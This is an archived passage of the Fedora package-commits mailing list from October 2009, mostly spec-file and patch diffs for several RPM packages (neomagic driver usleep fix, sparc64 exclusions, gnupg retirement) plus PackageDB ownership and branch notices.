+++ b/src/neo_driver.c
@@ -114,6 +114,8 @@ CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 #include <X11/extensions/xf86dgastr.h>
 #endif
 
+#include <unistd.h>
+
 /* Mandatory functions */
 static const OptionInfoRec *	NEOAvailableOptions(int chipid, int busid);
 static void     NEOIdentify(int flags);
@@ -2489,7 +2491,7 @@ neoRestore(ScrnInfoPtr pScrn, vgaRegPtr VgaReg, NeoRegPtr restore,
      * In some rare cases a lockup might occur if we don't delay
      * here. (Reported by Miles Lane)
      */
-    xf86UDelay(200000);
+    usleep(200000);
     /*
      * Disable horizontal and vertical graphics and text expansions so
      * that vgaHWRestore works properly.
@@ -2502,7 +2504,7 @@ neoRestore(ScrnInfoPtr pScrn, vgaRegPtr VgaReg, NeoRegPtr restore,
      * Sleep for 200ms to make sure that the two operations above have
      * had time to take effect.
      */
-    xf86UDelay(200000);
+    usleep(200000);
     /*
      * This function handles restoring the generic VGA registers.  */
     vgaHWRestore(pScrn, VgaReg,
-- 
1.6.4.4



Index: xorg-x11-drv-neomagic.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-neomagic/devel/xorg-x11-drv-neomagic.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- xorg-x11-drv-neomagic.spec	4 Aug 2009 05:30:16 -0000	1.23
+++ xorg-x11-drv-neomagic.spec	26 Oct 2009 19:47:13 -0000	1.24
@@ -5,7 +5,7 @@
 Summary:   Xorg X11 neomagic video driver
 Name:      xorg-x11-drv-neomagic
 Version:   1.2.4
-Release:   1%{?dist}
+Release:   2%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -14,6 +14,8 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Source0:   ftp://ftp.x.org/pub/individual/driver/%{tarball}-%{version}.tar.bz2
 Source1:   neomagic.xinf
 
+Patch0:	    neomagic-usleep.patch
+
 ExclusiveArch: %{ix86}
 
 BuildRequires: pkgconfig
@@ -26,6 +28,7 @@ X.Org X11 neomagic video driver.
 
 %prep
 %setup -q -n %{tarball}-%{version}
+%patch0 -p1 -b .usleep
 
 %build
 %configure --disable-static
@@ -53,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man4/neomagic.4*
 
 %changelog
+* Mon Oct 26 2009 Adam Jackson <ajax at redhat.com> 1.2.4-2
+- neomagic-usleep.patch: Fix for new server ABI. (#523800)
+
 * Tue Aug 04 2009 Dave Airlie <airlied at redhat.com> 1.2.4-1
 - neomagic 1.2.4
 



From tmraz at fedoraproject.org  Mon Oct 26 19:49:28 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Mon, 26 Oct 2009 19:49:28 +0000 (UTC)
Subject: rpms/gnupg/devel dead.package, NONE, 1.1 .cvsignore, 1.24,
	NONE Makefile, 1.2, NONE gnupg-1.4.1-gcc.patch, 1.2,
	NONE gnupg-1.4.6-dir.patch, 1.1,
	NONE gnupg-shm-coprocessing.expect, 1.3, NONE gnupg.spec, 1.83,
	NONE sources, 1.28, NONE
Message-ID: <20091026194928.6363B11C0264@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/gnupg/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27365

Added Files:
	dead.package 
Removed Files:
	.cvsignore Makefile gnupg-1.4.1-gcc.patch 
	gnupg-1.4.6-dir.patch gnupg-shm-coprocessing.expect gnupg.spec 
	sources 
Log Message:
gnupg obsoleted by gnupg2 package.



--- NEW FILE dead.package ---
Package obsoleted by gnupg2 package.


--- .cvsignore DELETED ---


--- Makefile DELETED ---


--- gnupg-1.4.1-gcc.patch DELETED ---


--- gnupg-1.4.6-dir.patch DELETED ---


--- gnupg-shm-coprocessing.expect DELETED ---


--- gnupg.spec DELETED ---


--- sources DELETED ---



From ajax at fedoraproject.org  Mon Oct 26 19:49:24 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 26 Oct 2009 19:49:24 +0000 (UTC)
Subject: rpms/xorg-x11-drv-neomagic/F-12 neomagic-usleep.patch, NONE,
	1.1 xorg-x11-drv-neomagic.spec, 1.23, 1.24
Message-ID: <20091026194925.09A4D11C0264@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-drv-neomagic/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27411

Modified Files:
	xorg-x11-drv-neomagic.spec 
Added Files:
	neomagic-usleep.patch 
Log Message:
* Mon Oct 26 2009 Adam Jackson <ajax at redhat.com> 1.2.4-2
- neomagic-usleep.patch: Fix for new server ABI. (#523800)


neomagic-usleep.patch:
 neo_driver.c |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE neomagic-usleep.patch ---
>From 4e2afb88212582df60bca3ec8c447965a5a66fd5 Mon Sep 17 00:00:00 2001
From: Adam Jackson <ajax at redhat.com>
Date: Mon, 26 Oct 2009 15:43:50 -0400
Subject: [PATCH] s/xf86UDelay/usleep/g

cf. https://bugzilla.redhat.com/show_bug.cgi?id=523800

Signed-off-by: Adam Jackson <ajax at redhat.com>
---
 src/neo_driver.c |    6 ++++--
 1 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/src/neo_driver.c b/src/neo_driver.c
index ddb6812..e4c60f2 100644
--- a/src/neo_driver.c
+++ b/src/neo_driver.c
@@ -114,6 +114,8 @@ CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 #include <X11/extensions/xf86dgastr.h>
 #endif
 
+#include <unistd.h>
+
 /* Mandatory functions */
 static const OptionInfoRec *	NEOAvailableOptions(int chipid, int busid);
 static void     NEOIdentify(int flags);
@@ -2489,7 +2491,7 @@ neoRestore(ScrnInfoPtr pScrn, vgaRegPtr VgaReg, NeoRegPtr restore,
      * In some rare cases a lockup might occur if we don't delay
      * here. (Reported by Miles Lane)
      */
-    xf86UDelay(200000);
+    usleep(200000);
     /*
      * Disable horizontal and vertical graphics and text expansions so
      * that vgaHWRestore works properly.
@@ -2502,7 +2504,7 @@ neoRestore(ScrnInfoPtr pScrn, vgaRegPtr VgaReg, NeoRegPtr restore,
      * Sleep for 200ms to make sure that the two operations above have
      * had time to take effect.
      */
-    xf86UDelay(200000);
+    usleep(200000);
     /*
      * This function handles restoring the generic VGA registers.  */
     vgaHWRestore(pScrn, VgaReg,
-- 
1.6.4.4



Index: xorg-x11-drv-neomagic.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-neomagic/F-12/xorg-x11-drv-neomagic.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- xorg-x11-drv-neomagic.spec	4 Aug 2009 05:30:16 -0000	1.23
+++ xorg-x11-drv-neomagic.spec	26 Oct 2009 19:49:21 -0000	1.24
@@ -5,7 +5,7 @@
 Summary:   Xorg X11 neomagic video driver
 Name:      xorg-x11-drv-neomagic
 Version:   1.2.4
-Release:   1%{?dist}
+Release:   2%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -14,6 +14,8 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Source0:   ftp://ftp.x.org/pub/individual/driver/%{tarball}-%{version}.tar.bz2
 Source1:   neomagic.xinf
 
+Patch0:	    neomagic-usleep.patch
+
 ExclusiveArch: %{ix86}
 
 BuildRequires: pkgconfig
@@ -26,6 +28,7 @@ X.Org X11 neomagic video driver.
 
 %prep
 %setup -q -n %{tarball}-%{version}
+%patch0 -p1 -b .usleep
 
 %build
 %configure --disable-static
@@ -53,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man4/neomagic.4*
 
 %changelog
+* Mon Oct 26 2009 Adam Jackson <ajax at redhat.com> 1.2.4-2
+- neomagic-usleep.patch: Fix for new server ABI. (#523800)
+
 * Tue Aug 04 2009 Dave Airlie <airlied at redhat.com> 1.2.4-1
 - neomagic 1.2.4
 



From pkgdb at fedoraproject.org  Mon Oct 26 19:50:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 19:50:18 +0000
Subject: [pkgdb] gnupg ownership updated
Message-ID: <20091026195018.C32DA10F88B@bastion2.fedora.phx.redhat.com>

Package gnupg in Fedora devel is now owned by tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From pkgdb at fedoraproject.org  Mon Oct 26 19:50:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 19:50:18 +0000
Subject: [pkgdb] gnupg (un)retirement
Message-ID: <20091026195019.04ECB10F89D@bastion2.fedora.phx.redhat.com>

Package gnupg in Fedora devel has been retired by tmraz

To make changes to this package see:
  /pkgdb/packages/name/gnupg



From ausil at fedoraproject.org  Mon Oct 26 19:52:25 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:52:25 +0000 (UTC)
Subject: rpms/ndesk-dbus-glib/F-12 ndesk-dbus-glib.spec,1.8,1.9
Message-ID: <20091026195225.CD88B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/ndesk-dbus-glib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28779

Modified Files:
	ndesk-dbus-glib.spec 
Log Message:
ExcludeArch sparc64



Index: ndesk-dbus-glib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ndesk-dbus-glib/F-12/ndesk-dbus-glib.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- ndesk-dbus-glib.spec	30 Jul 2009 05:59:12 -0000	1.8
+++ ndesk-dbus-glib.spec	26 Oct 2009 19:52:25 -0000	1.9
@@ -5,7 +5,7 @@ URL:			http://www.ndesk.org/DBusSharp
 License:		MIT
 Group:			Development/Libraries
 Version:		0.4.1
-Release:		7%{?dist}
+Release:		8%{?dist}
 Summary:		Provides glib mainloop integration for ndesk-dbus
 Source0:		http://www.ndesk.org/archive/dbus-sharp/ndesk-dbus-glib-%{version}.tar.gz
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -16,6 +16,8 @@ BuildRequires:	mono-devel
 ## datastore patch.
 BuildRequires:	ndesk-dbus-devel >= 0.6.1a-7
 
+ExcludeArch: sparc64
+
 %description
 ndesk-dbus-glib provides glib mainloop integration for ndesk-dbus
 
@@ -59,6 +61,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/ndesk-dbus-glib-1.0.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.4.1-8
+- ExcludeArch sparc64
+
 * Wed Jul 29 2009 Peter Gordon <peter at thecodergeek.com> - 0.4.1-7
 - Apply patch from Torello Querci to fix reading from the socket with the
   Sugar datastore (#503151):



From ausil at fedoraproject.org  Mon Oct 26 19:53:27 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:53:27 +0000 (UTC)
Subject: rpms/ndesk-dbus-glib/devel ndesk-dbus-glib.spec,1.8,1.9
Message-ID: <20091026195327.111C311C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/ndesk-dbus-glib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29135

Modified Files:
	ndesk-dbus-glib.spec 
Log Message:
excludeArch sparc64 no mono



Index: ndesk-dbus-glib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ndesk-dbus-glib/devel/ndesk-dbus-glib.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- ndesk-dbus-glib.spec	30 Jul 2009 05:59:12 -0000	1.8
+++ ndesk-dbus-glib.spec	26 Oct 2009 19:53:26 -0000	1.9
@@ -5,7 +5,7 @@ URL:			http://www.ndesk.org/DBusSharp
 License:		MIT
 Group:			Development/Libraries
 Version:		0.4.1
-Release:		7%{?dist}
+Release:		8%{?dist}
 Summary:		Provides glib mainloop integration for ndesk-dbus
 Source0:		http://www.ndesk.org/archive/dbus-sharp/ndesk-dbus-glib-%{version}.tar.gz
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -16,6 +16,8 @@ BuildRequires:	mono-devel
 ## datastore patch.
 BuildRequires:	ndesk-dbus-devel >= 0.6.1a-7
 
+ExcludeArch: sparc64
+
 %description
 ndesk-dbus-glib provides glib mainloop integration for ndesk-dbus
 
@@ -59,6 +61,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/ndesk-dbus-glib-1.0.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.4.1-8
+- ExcludeArch sparc64
+
 * Wed Jul 29 2009 Peter Gordon <peter at thecodergeek.com> - 0.4.1-7
 - Apply patch from Torello Querci to fix reading from the socket with the
   Sugar datastore (#503151):



From ausil at fedoraproject.org  Mon Oct 26 19:58:40 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:58:40 +0000 (UTC)
Subject: rpms/lat/F-12 lat.spec,1.24,1.25
Message-ID: <20091026195840.C4A4611C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/lat/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31605

Modified Files:
	lat.spec 
Log Message:
remove f5 conditionals and Exclude sparc64



Index: lat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lat/F-12/lat.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- lat.spec	25 Jul 2009 04:58:03 -0000	1.24
+++ lat.spec	26 Oct 2009 19:58:40 -0000	1.25
@@ -1,7 +1,7 @@
 Name:               lat
 Summary:            LDAP Administration Tool
 Version:            1.2.3
-Release:            8%{?dist}
+Release:            9%{?dist}
 License:            GPLv2
 Group:              Applications/Productivity
 Url:                http://sourceforge.net/projects/ldap-at/
@@ -11,17 +11,15 @@ Patch1:             lat-1.2.3-desktop-ic
 BuildRoot:          %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:      mono-devel >= 1.1.12.1, gnome-keyring-devel >= 0.4.2, avahi-sharp
 BuildRequires:      scrollkeeper, gettext, intltool, dbus-sharp, desktop-file-utils
-%if "%{?fedora}" == "5"
-BuildRequires:      gtk-sharp2 >= 2.8.0
-%else
 BuildRequires:      gnome-sharp-devel, gtk-sharp2-devel >= 2.8.0, dbus-sharp-devel
 Requires:           scrollkeeper, gnome-sharp
-%endif
 Requires:           mono-data, gtk-sharp2, dbus-sharp, avahi-sharp, yelp
 
 Requires(post):     scrollkeeper
 Requires(postun):   scrollkeeper
 
+ExcludeArch: sparc64
+
 # Debuginfo package would be empty as there are no binaries in this package
 %define debug_package %{nil}
 
@@ -36,11 +34,7 @@ manage objects easily without having to 
 Summary:            Development files for building plugins for LDAP Administration Tool
 Group:              Development/Libraries
 Requires:           %{name} = %{version}-%{release}, pkgconfig
-%if "%{?fedora}" == "5"
-Requires:           gtk-sharp2
-%else
 Requires:           gtk-sharp2-devel
-%endif
 
 %description devel
 The lat-devel package contains the files needed to build plugins for lat
@@ -116,6 +110,10 @@ The lat-devel package contains the files
 %{_libdir}/pkgconfig/lat-plugins.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.2.3-9
+- remove fedora 5 conditionals
+- ExcldeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.3-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 19:59:48 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:59:48 +0000 (UTC)
Subject: rpms/lat/devel lat.spec,1.24,1.25
Message-ID: <20091026195948.3EACD11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/lat/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32172

Modified Files:
	lat.spec 
Log Message:
ExcludeArch sparc64 remove F-5 conditionals



Index: lat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lat/devel/lat.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- lat.spec	25 Jul 2009 04:58:03 -0000	1.24
+++ lat.spec	26 Oct 2009 19:59:48 -0000	1.25
@@ -1,7 +1,7 @@
 Name:               lat
 Summary:            LDAP Administration Tool
 Version:            1.2.3
-Release:            8%{?dist}
+Release:            9%{?dist}
 License:            GPLv2
 Group:              Applications/Productivity
 Url:                http://sourceforge.net/projects/ldap-at/
@@ -11,17 +11,15 @@ Patch1:             lat-1.2.3-desktop-ic
 BuildRoot:          %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:      mono-devel >= 1.1.12.1, gnome-keyring-devel >= 0.4.2, avahi-sharp
 BuildRequires:      scrollkeeper, gettext, intltool, dbus-sharp, desktop-file-utils
-%if "%{?fedora}" == "5"
-BuildRequires:      gtk-sharp2 >= 2.8.0
-%else
 BuildRequires:      gnome-sharp-devel, gtk-sharp2-devel >= 2.8.0, dbus-sharp-devel
 Requires:           scrollkeeper, gnome-sharp
-%endif
 Requires:           mono-data, gtk-sharp2, dbus-sharp, avahi-sharp, yelp
 
 Requires(post):     scrollkeeper
 Requires(postun):   scrollkeeper
 
+ExcludeArch: sparc64
+
 # Debuginfo package would be empty as there are no binaries in this package
 %define debug_package %{nil}
 
@@ -36,11 +34,7 @@ manage objects easily without having to 
 Summary:            Development files for building plugins for LDAP Administration Tool
 Group:              Development/Libraries
 Requires:           %{name} = %{version}-%{release}, pkgconfig
-%if "%{?fedora}" == "5"
-Requires:           gtk-sharp2
-%else
 Requires:           gtk-sharp2-devel
-%endif
 
 %description devel
 The lat-devel package contains the files needed to build plugins for lat
@@ -116,6 +110,10 @@ The lat-devel package contains the files
 %{_libdir}/pkgconfig/lat-plugins.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.2.3-9
+- remove fedora 5 conditionals
+- ExcldeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.3-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 20:02:11 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:02:11 +0000 (UTC)
Subject: rpms/db4o/F-12 db4o.spec,1.13,1.14
Message-ID: <20091026200211.0FD0F11C029D@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/db4o/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv668

Modified Files:
	db4o.spec 
Log Message:
excludesparc64



Index: db4o.spec
===================================================================
RCS file: /cvs/pkgs/rpms/db4o/F-12/db4o.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- db4o.spec	24 Jul 2009 20:00:01 -0000	1.13
+++ db4o.spec	26 Oct 2009 20:02:08 -0000	1.14
@@ -5,7 +5,7 @@
 Summary: A native OODBMS for Java/.NET/Mono - Mono version
 Name: db4o
 Version: 6.1
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: GPLv2
 Patch0: db4o-6.1-usesyslibs.patch
 Group: Development/Libraries
@@ -14,7 +14,7 @@ URL: http://www.db4o.com/
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: mono-devel, mono-cecil-flowanalysis-devel
 
-ExclusiveArch: %ix86 x86_64 ppc ia64 armv4l sparc alpha s390 s390x
+ExcludeArch: sparc64
 
 %description
 Embed db4o's native Java or .NET/Mono open source object database
@@ -107,6 +107,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/db4o.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at asuil.us> - 6.1-8
+- ExcludeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.1-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Mon Oct 26 20:03:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:03:32 +0000
Subject: [pkgdb] sword (Fedora EPEL, 5) updated by kevin
Message-ID: <20091026200332.7096210F87F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sword
kevin has set commit to Approved for 107427 on sword (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sword (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sword (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sword



From ausil at fedoraproject.org  Mon Oct 26 20:03:44 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:03:44 +0000 (UTC)
Subject: rpms/db4o/devel db4o.spec,1.13,1.14
Message-ID: <20091026200344.BA19B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/db4o/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1211

Modified Files:
	db4o.spec 
Log Message:
Exclude sparc64



Index: db4o.spec
===================================================================
RCS file: /cvs/pkgs/rpms/db4o/devel/db4o.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- db4o.spec	24 Jul 2009 20:00:01 -0000	1.13
+++ db4o.spec	26 Oct 2009 20:03:44 -0000	1.14
@@ -5,7 +5,7 @@
 Summary: A native OODBMS for Java/.NET/Mono - Mono version
 Name: db4o
 Version: 6.1
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: GPLv2
 Patch0: db4o-6.1-usesyslibs.patch
 Group: Development/Libraries
@@ -14,7 +14,7 @@ URL: http://www.db4o.com/
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: mono-devel, mono-cecil-flowanalysis-devel
 
-ExclusiveArch: %ix86 x86_64 ppc ia64 armv4l sparc alpha s390 s390x
+ExcludeArch: sparc64
 
 %description
 Embed db4o's native Java or .NET/Mono open source object database
@@ -107,6 +107,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/db4o.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at asuil.us> - 6.1-8
+- ExcludeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.1-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Mon Oct 26 20:05:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:05:22 +0000
Subject: [pkgdb] perl-Nagios-NSCA summary updated by kevin
Message-ID: <20091026200523.0654C10F89A@bastion2.fedora.phx.redhat.com>

kevin set package perl-Nagios-NSCA summary to Nagios::NSCA Perl module

To make changes to this package see:
  /pkgdb/packages/name/perl-Nagios-NSCA



From pkgdb at fedoraproject.org  Mon Oct 26 20:05:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:05:20 +0000
Subject: [pkgdb] perl-Nagios-NSCA was added for stevetraylen
Message-ID: <20091026200520.E923A10F88B@bastion2.fedora.phx.redhat.com>

kevin has added Package perl-Nagios-NSCA with summary Nagios::NSCA Perl module
kevin has approved Package perl-Nagios-NSCA
kevin has added a Fedora devel branch for perl-Nagios-NSCA with an owner of stevetraylen
kevin has approved perl-Nagios-NSCA in Fedora devel
kevin has approved Package perl-Nagios-NSCA
kevin has set commit to Approved for 107427 on perl-Nagios-NSCA (Fedora devel)
kevin has set checkout to Approved for 107427 on perl-Nagios-NSCA (Fedora devel)
kevin has set build to Approved for 107427 on perl-Nagios-NSCA (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/perl-Nagios-NSCA



From pkgdb at fedoraproject.org  Mon Oct 26 20:05:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:05:22 +0000
Subject: [pkgdb] perl-Nagios-NSCA (Fedora EPEL, 5) updated by kevin
Message-ID: <20091026200523.1308A10F8A6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for perl-Nagios-NSCA
kevin has set commit to Approved for 107427 on perl-Nagios-NSCA (Fedora 11)
kevin has set checkout to Approved for 107427 on perl-Nagios-NSCA (Fedora 11)
kevin has set build to Approved for 107427 on perl-Nagios-NSCA (Fedora 11)
kevin approved watchbugzilla on perl-Nagios-NSCA (Fedora 11) for perl-sig
kevin approved watchcommits on perl-Nagios-NSCA (Fedora 11) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/perl-Nagios-NSCA



From pkgdb at fedoraproject.org  Mon Oct 26 20:05:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:05:22 +0000
Subject: [pkgdb] perl-Nagios-NSCA (Fedora EPEL, 5) updated by kevin
Message-ID: <20091026200523.1791210F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for perl-Nagios-NSCA
kevin has set commit to Approved for 107427 on perl-Nagios-NSCA (Fedora 12)
kevin has set checkout to Approved for 107427 on perl-Nagios-NSCA (Fedora 12)
kevin has set build to Approved for 107427 on perl-Nagios-NSCA (Fedora 12)
kevin approved watchbugzilla on perl-Nagios-NSCA (Fedora 12) for perl-sig
kevin approved watchcommits on perl-Nagios-NSCA (Fedora 12) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/perl-Nagios-NSCA



From pkgdb at fedoraproject.org  Mon Oct 26 20:05:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:05:23 +0000
Subject: [pkgdb] perl-Nagios-NSCA (Fedora EPEL, 5) updated by kevin
Message-ID: <20091026200523.2252B10F8B0@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on perl-Nagios-NSCA (Fedora devel) for perl-sig
kevin approved watchcommits on perl-Nagios-NSCA (Fedora devel) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/perl-Nagios-NSCA



From pkgdb at fedoraproject.org  Mon Oct 26 20:05:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:05:23 +0000
Subject: [pkgdb] perl-Nagios-NSCA (Fedora EPEL, 5) updated by kevin
Message-ID: <20091026200523.2B44010F8B2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for perl-Nagios-NSCA
kevin has set commit to Approved for 107427 on perl-Nagios-NSCA (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on perl-Nagios-NSCA (Fedora EPEL 5)
kevin has set build to Approved for 107427 on perl-Nagios-NSCA (Fedora EPEL 5)
kevin approved watchbugzilla on perl-Nagios-NSCA (Fedora EPEL 5) for perl-sig
kevin approved watchcommits on perl-Nagios-NSCA (Fedora EPEL 5) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/perl-Nagios-NSCA



From kevin at fedoraproject.org  Mon Oct 26 20:05:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:05:37 +0000 (UTC)
Subject: rpms/perl-Nagios-NSCA - New directory
Message-ID: <20091026200537.2E1AD11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Nagios-NSCA
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsVA2580/rpms/perl-Nagios-NSCA

Log Message:
Directory /cvs/pkgs/rpms/perl-Nagios-NSCA added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:05:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:05:37 +0000 (UTC)
Subject: rpms/perl-Nagios-NSCA/devel - New directory
Message-ID: <20091026200537.4F8FC11C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Nagios-NSCA/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsVA2580/rpms/perl-Nagios-NSCA/devel

Log Message:
Directory /cvs/pkgs/rpms/perl-Nagios-NSCA/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:05:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:05:45 +0000 (UTC)
Subject: rpms/perl-Nagios-NSCA Makefile,NONE,1.1
Message-ID: <20091026200545.96C7A11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-Nagios-NSCA
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsVA2580/rpms/perl-Nagios-NSCA

Added Files:
	Makefile 
Log Message:
Setup of module perl-Nagios-NSCA


--- NEW FILE Makefile ---
# Top level Makefile for module perl-Nagios-NSCA
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
